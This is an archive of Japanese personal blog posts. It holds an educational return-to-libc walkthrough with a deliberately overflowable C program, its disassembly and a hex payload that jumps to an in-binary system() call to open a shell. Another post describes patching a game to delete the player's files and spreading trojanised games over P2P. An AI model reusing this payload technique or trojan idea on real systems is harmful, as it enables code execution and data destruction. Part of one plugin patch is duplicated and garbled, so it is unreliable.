ASLRがあっても出来るreturn-to-libc攻撃

Posted on

久しぶりです。7月一杯はテスト続きで遊べそうにありません…。8月は多少遊べるかと思いますが、9月の初旬にはまたテストがあります。ち な み に 文 系 は あ り ま せ ん 。9月の初旬のテストの後はまた一ヶ月ほど休みがあるので、その時には色々出来るかもしれません。あっ、でも免許取らないと。

とはいえ、情報科学概論Ⅰという講義を聴いている最中にふと思いついたセキュリティネタがあったので投稿します。ちょっと調べた感じだとこの手法は見つからなかったんですが、どう考えてもたいした工夫ではないので既出かもしれません。既出だったらスマソ。

return-to-libc攻撃とASLR

まずreturn-to-libc攻撃について説明しましょう。知ってるという方は飛ばしてください。return-to-libcはバッファオーバーフロー攻撃の一種です。スタック上のバッファに、その大きさ以上のデータを書き込んでしまうことで発生します。

イメージとしてはこんな感じ

20100704_overflow.jpg

関数がリターンした後のスタックの構造が、ちょうどsytem関数を呼び出したときと同じように工夫するのがミソです。CPUはこの時、system(“cmd”)が実行された時と同じように振る舞い、結果任意のコマンドを実行させる事が可能になってしまいます。

Windows Vista以降では、ASLRといって、system()関数も含めた外部ライブラリに含まれる関数のアドレスを毎回ランダムにする事でこの攻撃を防いでいます。戻るべきsystem()関数のアドレスが毎回変わってしまうのですから、攻撃を成功させることも難しくなる、大変有効な対策です。†1

アドレスが毎回変わらない関数

しかし、毎回アドレスが絶対に変わらない関数があります。それはアプリケーション内の関数です。アプリケーション内の関数は、DLLでロードされるライブラリと違い、毎回ロード先のアドレスが変わらないようです。(確かPEヘッダで指定するんだったっけ?)

なら、ランダムで戻るのが難しいライブラリの関数に戻るのでなく、このアプリケーション内の関数に戻れば良いのでは…?いやいや、戻る先も関数そのものでなくともよく、書き込むスタックの内容さえ工夫すれば同じプログラムに含まれるありとあらゆるコードにジャンプして任意の処理を実行できるのでは…?

Windows Vista / Windows 7 Starter(32ビット)で確認できた実演デモ

本来はファイルの内容を表示するプログラムですが、この脆弱性によってシェルを実行するように改変されています。

ダウンロード

Vista Businessと 7 Starter(どちらも32ビット)で動作を確認しています。

2010/07/04現在で最新にアップデートしてあるWindows7/Windows Vista(どちらも32ビット)で動作を確認しています。アップーデートで使えなくなる可能性は十分ありますので、起動しなくてもめげないでね!

スクリーンショット

20100704_overflow2.jpg

こんな感じでシェルが実行されます。

コードの解説

まずは意図的にバッファーオーバーフローさせてるプログラムのソースコードを。

#include 
#include 
#include 

void exec(){
	//何かの処理
	fprintf(stdout,"debug message\n");
	//外部アプリケーションの実行
	system("ipconfig");
}

int main(int argc, char* argv[]){
	//ファイルの中を表示するだけのクソプログラム
	FILE* file = fopen("data.dat","rb");

	//ファイルサイズを取得
	fseek( file, 0, SEEK_END );
  	int size = ftell( file );
	fprintf(stdout,"file size: %d\n", size);
	fseek( file, 0, SEEK_SET );

	//ファイルサイズ分だけコピー。ここでオーバーフロー。
  	char dst[40];
	fread(dst,size,1,file);
	//ここでfileにNULLを代入してもクラッシュはしない
	fclose(file);

	fprintf(stdout,"content: %s\n", dst);

	return 0;
}

上のほうのexec()がポイントです。想定としては、プログラム内から他のアプリケーションを呼ぶような動作を模擬したものと考えてください。今回は”debug message”を表示させることなくsystem関数を呼び出し、さらにそのコマンドも”ipconfig”でなく”cmd”を実行します。

逆アセンブルコード

exec関数
00401318  /. 55             PUSH EBP
00401319  |. 89E5           MOV EBP,ESP
0040131B  |. 83EC 18        SUB ESP,18
0040131E  |. A1 14414000    MOV EAX,DWORD PTR DS:[<&msvcrt._iob>]    ; ||
00401323  |. 83C0 20        ADD EAX,20                               ; ||
00401326  |. 894424 0C      MOV DWORD PTR SS:[ESP+C],EAX             ; ||
0040132A  |. C74424 08 0E00>MOV DWORD PTR SS:[ESP+8],0E              ; ||
00401332  |. C74424 04 0100>MOV DWORD PTR SS:[ESP+4],1               ; ||
0040133A  |. C70424 3020400>MOV DWORD PTR SS:[ESP],target.00402030   ; ||ASCII "debug message"
00401341  |. E8 26070000    CALL <JMP.&msvcrt.fwrite>                ; |\fwrite
00401346  |. C70424 3F20400>MOV DWORD PTR SS:[ESP],target.0040203F   ; |ASCII "ipconfig"

/** main関数をここへリターンさせる! **/
0040134D  |. E8 22070000    CALL <JMP.&msvcrt.system>                ; \system
00401352  |. C9             LEAVE
00401353  \. C3             RETN

 

main関数

 

00401354  /$ 55             PUSH EBP
00401355  |. 89E5           MOV EBP,ESP
00401357  |. 83E4 F0        AND ESP,FFFFFFF0
0040135A  |. 83EC 40        SUB ESP,40
0040135D  |. E8 CE040000    CALL target.00401830
00401362  |. C74424 04 4820>MOV DWORD PTR SS:[ESP+4],target.00402048 ; ||||||||ASCII "rb"
0040136A  |. C70424 4B20400>MOV DWORD PTR SS:[ESP],target.0040204B   ; ||||||||ASCII "data.dat"
00401371  |. E8 06070000    CALL <JMP.&msvcrt.fopen>                 ; |||||||\fopen
(中略)
00401401  |. E8 8E060000    CALL <JMP.&msvcrt.fread>                 ; ||\fread
00401406  |. 8B4424 38      MOV EAX,DWORD PTR SS:[ESP+38]            ; ||
0040140A  |. 890424         MOV DWORD PTR SS:[ESP],EAX               ; ||
0040140D  |. E8 8A060000    CALL <JMP.&msvcrt.fclose>                ; |\fclose
00401412  |. A1 14414000    MOV EAX,DWORD PTR DS:[<&msvcrt._iob>]    ; |
00401417  |. 8D50 20        LEA EDX,DWORD PTR DS:[EAX+20]            ; |
0040141A  |. 8D4424 10      LEA EAX,DWORD PTR SS:[ESP+10]            ; |
0040141E  |. 894424 08      MOV DWORD PTR SS:[ESP+8],EAX             ; |
00401422  |. C74424 04 6320>MOV DWORD PTR SS:[ESP+4],target.00402063 ; |ASCII "content: %s"
0040142A  |. 891424         MOV DWORD PTR SS:[ESP],EDX               ; |
0040142D  |. E8 72060000    CALL <JMP.&msvcrt.fprintf>               ; \fprintf
00401432  |. B8 00000000    MOV EAX,0
00401437  |. C9             LEAVE
00401438  \. C3             RETN

 

攻撃コード

20100704_overflow3.jpg

 

7468 6973  this
2064 6174   dat
6120 6973  a is
2061 2073   a s
6865 6c6c  hell
636f 6465  code
2c20 6861  , ha
6861 2e00  ha..
0000 0000 ....
0000 0000  ....

 

最初の40バイトはバッファにあふれない分のデータです。

何かメッセージが出ないと寂しいので、文章を書き込んであります。

 

0000 0000  .... //上書きされる"file"の値(注意:fclose(NULL)はエラーにならない)
0000 0000  .... //上書きされる"size"の値
0000 0000  .... // 作業用領域(freadの後には使われない)
0000 0000  .... // 作業用領域(freadの後には使われない)
0000 0000  .... // "leave"命令で使われる、EBPに代入されるアドレス(適当でいい)
4d13 4000  M.@. // 命令"CALL <JMP.&msvcrt.system>"がおいてあるところへのポインタ

 

関数が戻るまでにクラッシュしないように工夫した†2ローカル変数領域です。

リターンアドレスが、exec()内でsystem関数を呼び出す直前になっています。

以下が、”CALL <JMP.&msvcrt.system>”に戻ったときに使うデータです。

 

38ff 2200  8.". //下の文字列"cmd"へのポインタ
0000 0000  ....
636d 6400  cmd.
0000 0000  ....

 

スタックに引数”cmd”が乗せられている状態になっていて、この状態で”CALL <JMP.&msvcrt.system>”を実行すればコマンドプロンプトが実行される、というわけです。

libcに限らず、実行できてはいけない処理が意図しないタイミングで実行される

この手法を使えば、プログラム中に含まれるありとあらゆる処理が意図しないタイミングで実行し放題になると思われます。出来そうな事はこんな感じ。

  • 今回のように、アプリケーション内で呼ばれているAPI(たとえばsystem())に戻って任意のコマンドを実行する
  • パスワードやらなにやらの認証機構で保護されている処理を無理やり呼び出す
  • WinGrooveのコピートラップ関数を呼び出す(笑)

Linuxではさらに制限が掛かる

linuxでは「PAX」によって以下のようにスタックのアドレスも毎回ランダムで変わるので、Windowsより制限が厳しくなります。スタック破壊を検出するStack-Smashing-Protectorとかでも制限が掛かるかも…。

上記のプログラムのローカル変数「size」のアドレスを表示するプログラムです:

 

$ ./stack
addr of "size": bfb5de08
$ ./stack
addr of "size": bfec2a58
$ ./stack
addr of "size": bfbc6288

 

このように、毎回かなりランダムになる事が分かります。文字列等のポインタを扱うにはスタック上のアドレスが必要なので使えず、イミディエイトな値のみしか扱えなくなります。

とはいえ、この辺は通常のreturn-to-libcと同じなのでいろいろと回避テクがあるかもしれません。

出来そうな対策は?

  • DLLだけでなく、アプリのロード先も毎回ランダムにする

これしかないと思います。今ちょっと確認したところ、殆どのソフトウェア内のcall/jmpはすべて相対ジャンプで行われているようですし、たぶん問題は起きないと思います。DLLでは既にそうなっていますから、特に問題は無いはず…。Linuxだと実はすでに行われてるのかな?

誰かFirefoxのバッファオーバーフローのexploitコードのありかを教えてくれー

 

実演動画作ってニコニコ動画に上げます!(流石に公開はしない)

巫女が死ぬとファイルが消える東方作った

Posted on
ゆっくりしていってね!!!・・・と
言いたいところだが、
君等(のファイル)には消えてもらう。
実は今まで君たちが巫女だと思っていた
残機の正体は、
ハードディスクの肥やしになっている
マイドキュメントの.docファイルだったのだ。
君等は何も知らずに
作りかけのレポートを削除していたのだよ。
しかしそれは、
私の筋書どおりなのだ・・・
あとはゲームを強制終了させれば
私の計画は完成する。
これからは私の最強の
特別戦闘部隊をもって
君等を抹殺するので
よ ろ し く。

巫女が死ぬとファイルが消える東方作った

ついカッっとなって作った†1。後悔はしていない。

巫女(じゃなくても可)が死ぬ度に、マイドキュメントのファイルがランダムで一つずつ消えていきます。消すファイルが無くなった場合、ゲームがアプリケーションごと終了します。もうこれは死ぬ気で練習するしかないねー

 

パッチダウンロード

すいません公開できません m(_ _)m

公開して割れゲーに紛れて流されると色々ヤバイwのでwwwwww

原理

簡単に言うと、巫女が死ぬ処理に無理やり割り込んで、ファイルを消す処理をくっ付けてるだけです。だから、洞窟物語の「どこでもセーブ」パッチと技術的にはほとんど同じです。ただ、こっちの方が追加されてる処理が多くて複雑ってだけです。

アイデアは「【自己責任】敵機を撃つとHDDのファイルが削除されるシューティングゲームが登場」から貰い、ファイルが消える条件を反転させて一般のゲームに実装した形になります。ルールとしてはこちらの方が緊張感があって良いと思うのですが、どうでしょうか(笑

知らず知らずの内に悪意のある処理が行わせる事が可能

今回は実験なので、ファイルを削除した際にウインドウを表示して削除した事が分かるようになっていますが、もちろんそうした表示処理をすべて消してしまう事も可能です。その場合、プレイヤはファイルが消されていることにおそらく気づかないでしょう。

この実例で、P2P等にこうして改造したゲーム等の実行ファイルを流すことで、ダウンロードした人が全く気づかないうちに悪意のある処理を実行させることが可能という事が分かったと思います。もちろんUACが不要な範囲内で、ですが、それでも個人情報を流出させるには十分です。

現在、キンタマウイルスのようなファイル名を偽装するような手口がよく知られていますが、このファイル名を偽装したウイルスを実行させる方法には引っかかった場合大抵すぐ気づくという難点があります。

しかし今回の手法ならもっとナチュラルに実行させる事が可能でしょう。ゲームと一心同体ですから。

感想と今後の展望

今回、パラサイトルーチンは全部手書きアセンブラですw

正直全部アセンブラで書くのは、まあ…たまにやる分には楽しいがしんどすぎるw 今回はファイルの列挙を行う処理ということで再帰処理が入ってるんですが、スタック操作がなかなか大変でした。まあその分今後解析を行う際の参考にはなったかな、と思いますけどね。

アプリの最後の方にdllのファイルをそのままくっ付けておいて、パラサイトルーチンはdllを分離して実行させて、処理に割り込んだ時の処理はdll内の関数を呼ぶだけ、みたいな感じで、任意のDLLが呼べたりすると楽ですね。もうこんなにたくさん書きたくないわ…。

ふと気づいた

これただのファイル感染型ウイルスじゃね?(

今までずっと「本物のファイルに紛れてるキンタマウイルス」という線で考えてたので気づかなかった。

みんながみんな全く疑うことなく実行しているだろうと思われるP2Pのゲームに入れるのは効果的だと思うが、P2Pの大半の人間はDL専門だとすると拡散させにくいという気はする。特定のファイルだけ気をつければいいならハッシュ指定とかで防げちゃうだろうし。

あ、あと

五月祭お疲れさまでした え、ああ、ちゃんとさきゅばすも作ってるよ 仕様書も無い言語の言語処理系って難しいな…。ニワン語はプロトタイプ型オブジェクト指向ってことでいいの?

  • †1: 製作時間は3時間程度

東京大学ニコニコ動画研究会で東大ちゃんねるを開設(予定)

Posted on

 誰だよ大学は暇だの幼稚園だの言った奴は!!浪人してた時より忙しいぞwwwwww

 ニコニコ動画研究会っていうまだメンバーがリアルに顔会わせして今日で一週間のサークルに入ってるんですが、その関係で一つ告知があります。

ニワンゴの杉本誠司社長にお会いしました

 メンバーのつてでニワンゴの杉本誠司社長からお話を戴きまして、ニコニコ動画のチャンネルの一つとして、「東大ちゃんねる」を作らないか、という事になりました。動画の配信のほか、生放送を行う予定です。

 明日・明後日の五月祭では時間が無いため生中継は行いませんが、1~2ヶ月以内には企画を立てて、動画配信や生放送を行おうと考えています。

 昨日杉本誠司社長とお会いして、今後の方針のほか、参考になるお話を色々とさせていただきました。その場で上がった事についてとても適切な例を瞬時に上げられたり等、とても頭の切れる方で圧倒されました…。

メンバー募集中

 というわけで、ニコニコ動画研究会ではメンバーや協力してくれる方を募集中です。

  • 生中継の企画をしたい人
  • 生中継に興味がある人
  • ウェブサイトのデザイン等に興味がある人
  • その他詳しい話を聞きたい人

 は、私のメールアドレス、psi<ぁっとまーく>science.mi.toか、代表(ゲンシュン)のメールアドレスnikochu_otsu<あっとまあく>yahoo.co.jp†1までご連絡ください。

 注意です。これは1ユーザとして行う単なる遊びではなく、ある種のビジネスです。会社側からの手厳しい駄目出しもあるでしょう。「生放送でてえwwww」といった安易な気分で入ると後悔するかもしれません。本気でやっていける方を募集しています。

と、こうして

 さきゅばすの開発は遅れていくのであった。

 実を言うと、サークルを一個立ち上げた(えっ)のですが、それはおいおい。

  • †1: ひどいメールアドレスだww

mt-sukeroku2 β3のMT5における不具合を修正する

Posted on

 当Blogでも利用しております、MovableTypeではてな記法(やその他)を使えるようにするプラグイン、mt-sukeroku2 β3は、MovableType5では不具合があるようで、文の冒頭が全角空白で始まっている場合に整形されなくなってしまうようです(半角空白で始まっている場合に効かなくなるのは「整形済みテキスト」記法なので、仕様です)。

 今回、対策用のパッチを作ってみましたのでおいておきます。内容は正規表現の中の「\s」を「 」(半角空白そのもの)に置き換えただけです。

 以下のパッチをEUCで保存して当てて下さい。これくらいなら手動でもいい気がしますけれど。

=== modified file 'extlib/Text/Sukeroku/HatenaDiary.pm'
--- extlib/Text/Sukeroku/HatenaDiary.pm	2010-03-07 06:49:17 +0000
+++ extlib/Text/Sukeroku/HatenaDiary.pm	2010-03-07 07:32:46 +0000
@@ -174,7 +174,7 @@
# スタックを吐き出す
push(@result, splice(@saved));
# 空白文字ではじまり、整形テキスト出力でないなら<p></p>付加
-      if (/^\s+/) {
+      if (/^ +/) {
($modeParagraph == 1 &&
$modePreLevel != 1) ? push(@result, $self->html->inlineElement('p', $_, ()))
: push(@result, ($_));
=== modified file 'extlib/Text/Sukeroku/PukiWiki.pm'
--- extlib/Text/Sukeroku/PukiWiki.pm	2010-03-07 06:49:17 +0000
+++ extlib/Text/Sukeroku/PukiWiki.pm	2010-03-07 07:34:16 +0000
@@ -129,7 +129,7 @@
push(@result, "<p>");
}
# 整形済みテキスト
-    elsif (/^\s(.*)$/) {
+    elsif (/^ (.*)$/) {
$self->backPush('pre', 1, \@saved, \@result, ());
push(@result, $self->html->escape($1));
}
@@ -166,7 +166,7 @@
$self->backPush('table', 1, \@saved, \@result, ());
my $tmp = "$1,";
my @value = map {/^"(.*)"$/ ? scalar($_ = $1, s/""/"/g, $_) : $_} ($tmp =~ /("[^"]*(?:""[^"]*)*"|[^,]*),/g); # ";
-      my @align = map {(s/^\s+//) ?1);
}
# 整形済みテキスト
-    elsif (/^\s(.*)$/) {
+    elsif (/^ (.*)$/) {
$self->backPush('pre', 1, \@saved, \@result, ());
push(@result, $self->html->escape($1)); # Not &$func_inline, but &escape
}
@@ -103,7 +103,7 @@
$self->backPush('table', 1, \@saved, \@result, ());
my $tmp = "$1,";
my @value = map {/^"(.*)"$/ ? scalar($_ = $1, s/""/"/g, $_) : $_} ($tmp =~ /("[^"]*(?:""[^"]*)*"|[^,]*),/g); # "
-      my @align = map {(s/^\s+//) ? ((s/\s+$//) ? ' align="center"' : ' align="right"') : ''} @value;
+      my @align = map {(s/^ +//) ? ((s/ +$//) ? ' align="center"' : ' align="right"') : ''} @value;
my @colspan = map {($_ eq '==') ? 0 : 1} @value;
for (my $i = 0; $i < @value; $i++) {
if ($colspan[$i]) {

「\s」に全角空白にヒットするか?

 ネットでちまちま検索してみたところ、メタ文字「\s」に全角空白はヒットしないようですし、このプラグインを無理やりコマンドラインから叩いてみてもやっぱりヒットしませんでした。

 が、なぜかMT5内から呼ばれると全角にもヒットするようになり、当Blogのように段落の冒頭に全角空白を入れてる場合、ほとんどのテキストが整形されなくなってしまうようです。

 よくわかんないや。まあ動いたから良いや。

  1. s/\s+$//) ? ' align="center"' : ' align="right"') : ''} @value; + my @align = map {(s/^ +//) ? ((s/ +$//) ? ' align="center"' : ' align="right"') : ''} @value; my @colspan = map {($_ eq '==') ? 0 : 1} @value; for (my $i = 0; $i < @value; $i++) { if ($colspan[$i]) { === modified file 'extlib/Text/Sukeroku/YukiWiki.pm' --- extlib/Text/Sukeroku/YukiWiki.pm 2010-03-07 06:49:17 +0000 +++ extlib/Text/Sukeroku/YukiWiki.pm 2010-03-07 07:34:25 +0000 @@ -93,7 +93,7 @@ push(@result, $self->html->openElement('p',( []

「愛と勇気とかしわもち」どうにかしてあいちゃんを助けよう

Posted on

 一部ではホラーゲームだの精神的ブラクラだの検索してはいけない言葉だの言われてる某ほのぼのハートフルボッコパズルゲーム「愛と勇気とかしわもち」のあいちゃんを何とかして助けるためのパッチです。どうしてもクリアできそうに無い人向け

もっと具体的に言うと

 難しくてしょうがない上にクリア出来ないと怖くて寝れないので以下の改造を施すパッチを作りました。

  • 処理落ちしている環境だと強制的にゲームオーバーになるトラップを回避
  • ゲージ減少速度の低下(1/2、1/4を用意しました)

 BESとかで無理に処理落ちを掛けたり、パソコンのスペック不足などで処理落ちが起きると強制的にゲームオーバーになるトラップがありました。具体的に言うと、1フレームが100ms以上はなれると(つまり、一時的にでもFPSが10を切ると)強制的に赤ゲージが0になり、ゲームオーバーになります。このトラップを解除しました。

 ついでに、ゲージの減少速度も低下させました。1/2か1/4になりますので、これならたぶん誰でもクリアできると思います。

# 1/2と1/3にしたかったのですが、命令スペースがどうにも足りなかった†1ので、1/4にしました…。

ダウンロード

 2010年4月30日現在のver.1.1.1向けのパッチです。

 申し訳ありませんがご利用は自己責任でよろしくお願いします。

当て方

 中に入ってる.exeファイルを「love.exe」と同じフォルダに入れて、exeファイルを実行してください。自動でパッチがあたります。

 友人からのリクエストです。その友人に薦められて私もやりましたが…なにこのゲーム怖すぎワロタ ある意味最初から怖いって分かってるホラーゲームよりも悪質だな…。

さきゅばすかいはつにっき

 大学がなんとMac環境だった!ので、Mac対応コードを書いてみました。思ってたほどObjective-Cは変な言語じゃない。

 あとはffmpegの拡張側から書こうと思ってまして、今開発環境のビルド中です。マンドクセ

  • †1: 1/4なら命令長の短いビットシフト命令が使えるが、1/3は命令長の長い割り算命令を使わなければならない。

証明写真を自分で作ろう:「証明写真作成工房」

Posted on

お久しぶりです。大学も始まり、まだまだ慣れない事も多くちょっと疲労気味です。ちなみに入学式は今日です。授業は7日から始まりました。あれっ?

証明写真作成工房

プリンタとデジカメをお持ちの方ならば、このWebサービスを利用することで、自分で証明写真を作ることができます。インクや写真印刷用紙のお金はかかりますが、証明写真の自動販売機などに比べればずいぶん安価に済ませることが可能です。

20100411-01.jpg

作成すると、こんな感じのPDFファイルが出力されます。これを写真印刷用紙に印刷すると、証明写真の出来上がりです。

20100411-02.jpg

使い方はリンク先に詳しく書いてあります。証明写真の自動販売機を使う前にぜひどうぞ。サーバがあまり高性能じゃないので多少遅いですが、その辺はご了承ください…。

今回の経緯

まだなんだかプログラミングの感覚が戻ってこないので、以前自分専用に書いた証明写真印刷プログラムをWebアプリに移植してみました。Javaで書いてたので、その関係でgrailsで組んであります。

  1. 受験用の証明写真が必要だな
  2. 証明写真印刷するか…確かフリーソフトが有ったな
  3. Vistaで動かない…だと…
  4. 証明写真の自動販売機があったな。あれを利用するか。
  5. たった4枚で700円…だと…
  6. 自分で書くか
  7. 受験も終わったしgrailsに移植するか←いまココ

とはいえ、完成までは700円出して自販機使いました。HAHAHA。

プログラムを書く部分よりも、UIをいかにわかりやすくするか、の方が大変でした。友人などにテストして駄目出ししてもらったので、たぶん大丈夫だとは思うんですが…。

東大受かったイャッホオオオオオオオオ(AA略

Posted on

 なんか絵がどれみっぽいのでプリキュア見ることにした(挨拶 …なんで絶望先生でてんの?

 ひたすら頭の悪い文章しか書けない私ですがなんとかなりました。チキンなので理2†1です。理2†2なのに物理・地学†3です。たぶん合格最低点は私ですHAHAHA。点数は5月くらいにならないと分からない†4んですけどね。

 東大は2年の終わりに「進学振り分け」というのがあり、1~2年のときの成績がよくないと自分の思い通りの学部には行けない†5ので、大学に入っても遊びまくりとは行かないのですが、ぼちぼちプログラムも書いていきたいなーと思ってます。三月中は暇っぽいのでじゃんじゃん書きたいですね。

 とりあえず今はちゃーんと間違いなく入学手続きをする事に全力をかけたいと思います(笑)。受かったのに手続き間違えた、なんてもったいなさすぎる…。

 あ、そうそう。「東大合格生のノートはかならず美しい」は到底受け入れがたい大嘘なんでよろしく。一年間これを証明するためにがんばってたと言っても過言じゃない(笑)。

 で、さきゅばすどうしよう…。今のところ考えてるのはこんな感じです。

  • とりあえず2chの有志の人が作ってくれたソースをコミット、公開。
    • GPLなので何の問題もありません(キリッ
  • ほかのツールから利用されることが多いので、コメントを乗っける変換部分(C言語パート)と動画をDLするフロントエンド部分(Javaパート)を完全に分離
    • 変換するときにコメントファイルを一回フロントエンドで変換してますが、これをやめる。そもそもこうしたのはC言語でXMLを扱うのが面倒って理由だけです。
    • 今までの外部ソフトからも使えるように互換インターフェース付けたいけど…どうしようすいません自信ないです。
  • DL部分のコードが壮絶なスパゲッティなので、どうにかする。
    • mp4対応を投げてたのはそういう理由ですw
  • 投稿者コメントは、とりあえず普通のコメントだけ対応。ニコスクリプトとかはその後。
    • 構文解析器は初めてです。一応、電卓くらいは作りましたけど^^;;;;;
  • †1: 理1よりちょっとだけ簡単。理3はご存知医学部なので難易度青天井です。
  • †2: 農学部とか生物・化学系がメイン
  • †3: ちょうたのしいよ!!参考書が 全 く 無いけどな!
  • †4: 落ちた場合は明日くらいには分かります 去年体験済み(涙
  • †5: 1~2年は全員「教養学部」扱いで、三年から専門の学部で学ぶ。

Windows Live Messenger用の時計作った

Posted on

みなさんこんにちは!お元気ですか。冬期講習に入り、本番も近づいてきたなあ、という感じです。今年こそは…今年こそは…。

さて本日は、プログラミング欲も溜まってきて、センター試験も近いなーという事で(?)、Windows Live Messenger用のカウントダウン機能つき時計を書いてみました。製作時間、30分。

091216.png

普段は曲名が表示されているところに、現在時刻とカウントダウンが付いてます。ウーン、マカロニダイスキ。

バイナリとソースコード

解説とかまでは書けないので、バイナリとソースコードをさらしておきます(いつもどおりGPL v3です)。参考にしたのはこちらのソース

追記

0.5秒おきに更新してるのですが、あんまり速いとFirewallの”flooding protection”とかで届かない場合があるみたいです。30秒くらいのインターバルにした方がいいかも。

今回、開発時間短縮のため、以前よりhateしておりましたVisual C++で開発しちゃいました。32bit Vista†1に諸事情より移行してしまったのですが、開発環境(MinGW+MSYS)をまた作り直すのに時間が掛かりそうだったので。インストールするだけで即コンパイルするまでの環境が整うので、そこは楽です。Win32にがちがちに依存した仕組みで表示してるので、まあVC++でもいいや。

あと31日かー。こうやって焦らすのもどうかと思うんですが、思いついたネタがこれ位しかなくて…。

新聞社のサイトからRSSを取得してきて、ヘッドラインとして流したりすると面白そう。ただし、リンクは張れないようです。

まさかの窓の杜入り

びっくり!です。30分で作ったソフトなのに…。

本ソフトはその曲名の代わりに、現在時刻とセンター試験初日の最初の科目”公民”の受験者入室時刻までの残り時間を表示する。

そうそう、表示するのは公民の時間です。ちなみに私は現代社会を受験します。

地歴の時間は暇なので家帰ってゲームする予定です。去年はエースコンバット6やってました†2。会場†3まで自転車で10分ってすばらしい\(^o^)/

二次試験ももっと近ければなあ…。

試験勉強をそっちのけでチャットにふけりがちな受験生は、ぜひ本ソフトを入れておくとよい。

試験勉強をそっちのけで本ソフトを開発しがちな受験生にも必須ですorz

  • †1: 受かり次第、64bitの7とのデュアルブート環境に移行予定
  • †2: 試験当日にいまさら参考書とか開いても不安になるだけよ?
  • †3: 筑波大学

メンテ終了:D945GCLFとUbuntu

Posted on

 メンテナンスがやっとこさ終了しました。どうもすいませんでした。

 今回サーバ用OS(Ubuntu Desktop版 32bit 8.10)を結果的に再度入れ直しました。

今回の経緯

 「UFO霊子さん」公開時よりサーバを玄箱より入れ替えました。Atom 230搭載のD945GCLFというマザーボードを使ったベアボーンです†1。結構最近は多いんじゃないでしょうか。

 最近までは順調に動いていたこのマシンですが、ごくごくつい最近、

  1. Kernelをアップデートしたらネットワークがつながらなくなった
  2. Gnomeが重いと言われたのでXfceを追加インストールしたら音が聞こえなくなった

 という不具合が発生したため、対策をしておりました。まあ音の方はサーバ機としては本当はどうでもいいんですけど、家族の共用PCとしても動いているのでクレームが有る以上放置するわけにもいかず。

ネットワークをまずは対処

 まず、ネットワークが繋がらなくなった理由です。このマザーボードに搭載されているイーサネットコントローラは「Realtek RTL8101E/RTL8102E」で、「r8101.ko」というドライバを使用します。

 しかし、Ubuntu(と少なくともOpenSUSE 11.1;後述)にはそもそも「r8101.ko」は入って居らず、代わりにRealtek 8110/8169用の「r8169.ko」というドライバを使用します。このドライバは、特定のカーネルバージョンではある程度動作†2しますが、特定のカーネルバージョンではまったく動作しないようです。そのため、今回のような「カーネルをバージョンアップしたら繋がらなくなった」という状況が発生したようです。

 対処すべく検索してみたところ、こちらの記事で、「OpenSUSE 11.1では問題がない」との報告があったため実際に試してみましたが、このOpenSUSEでも「r8169.ko」が使用され、パケットロストしながらなんとか動いている状況でした。

 ぱっと見ちゃんと動いてるのが厄介ですね。なんという地雷だ。

 さて能書きはこれまでにして対処方法ですが、Realtek公式からドライバをDownloadしてコンパイルしてインストールすれば大丈夫です。こちらの記事を参考にしてください。なお、これはカーネルをアップデートするごとに行う必要があるので、シェルスクリプト化した方が良いかもしれません。

XFCEを入れると音が出ない?

 上記の案件でもうお腹いっぱいになってたので、この辺は適当にやってます。結構怪しいです。

 前記した通りOpenSUSEも何回かインストールしたのですが、デスクトップ環境にXFCEを選んだときだけ音声の問題が発生するようです。どうも相性が悪いらしい。

 面倒なので、Gnomeオンリーの生活で家族には我慢して頂く事に。KDE?いやー重すぎて無理。

まとめ

  • Realtek RTL8101E/RTL8102Eはこちらを参考に公式のドライバを入れるべし
  • XFCEとIntel 82801G HD Audio Controllerは相性が悪い?Gnomeなら問題ないっぽい

言い訳

 記述式問題の練習です。

 そういえばやっと「しゅごキャラ!!どきっ」まで追いついたよ。3話まで見たけど…なるほどこういう路線で来たか…。プリキュアと被ってねえ?†3もう2分30秒で終わる戦闘シーン(含変身)は見られないのかな。このアニメには戦闘以外のところで頑張って欲しかったんだが…りまの変身すらしない回が面白かったので。

  • †1: 静音かと思ったらすごいファンがうるさい^^;
  • †2: パケットロストしまくるけどな!!
  • †3: いや、全然別物だとは分かってるが、心なしか近づいたような・・・

Webサービス「UFO大好き霊子さん」をリリースします。

Posted on

霊子さん完全復活のお知らせ

 お久しぶりです。遅いですが、あけましておめでとうございます。

 ψ(プサイ)です。センターも一週間後に押し迫ってますねー。

 さてそんな中ですが、久しぶりの更新として、Webサービスの公開をしようと思います。

20090110-01.pngのサムネール画像

 「UFO大好き霊子さん」は、その名の通り(?)、UFOや心霊、廃墟や超心理学に関する場所を登録、共有しちゃうサービスです。ストリートビューにも対応しており、ストリートビューの心霊写真なんかも共有できます。

 従来、こういったオカルトスポットはBlog等で探せましたが、具体的な座標まで書いてある所は少なく、実際に行こうとすると大変です。このサービスでは具体的な座標まで分かるため、気に病まなければならない要素が一つ減ります。

 また、お近くの心霊スポットも分かりますので、お試しください。(といっても、まだ二十数件しか登録してないけど)

みんなの力をオラに!!

 この「UFO大好き霊子さん」には、まだまだオカルトスポットの情報が足りません。ぜひ、皆さんの持っている知識や体験談、目撃談をお寄せください。

 また、個別のスポットには写真も投稿できます。もしもどこかのスポットへ行った時は、心霊写真でもそうでなくてもぜひ投稿して下さいね。

謝辞

 id:amachang氏のScript.aculo.us拡張にお世話になりました。ありがとうございました。

言い訳

 Railsで作ってるんですが、息抜きにいいですよー。MVCモデルのおかげで開発工程も分割しやすく、一日短時間で作れます。

 まあ他にも理由はあって、「高校生」のうちに一個ぐらい作っておいて、実績を作っておきたかったってのはあります。将来どうなるか分からないし。

 ネット上を調べましたが、3人で作ったのはありましたが、一人で作ったのはこれが初めて…!?

 実はもう一個作ってあるんですが、見合わせてます。というのも、メールの受信処理を多用するWebアプリなんですが、そのメール受信処理がどうも重いので…。

アニメ…

まったく同じシステムを使って「アニメ聖地共有サイト」を作れることに気がついた。どうしよう…。コピーしてトップページ+αを書き換えるだけじゃん。

考えておきます。

さきゅばす

 開発していません…が、開発が終了した訳ではありません。いつの日か。mp4に関してはマジでどうにかした方がいいきがす。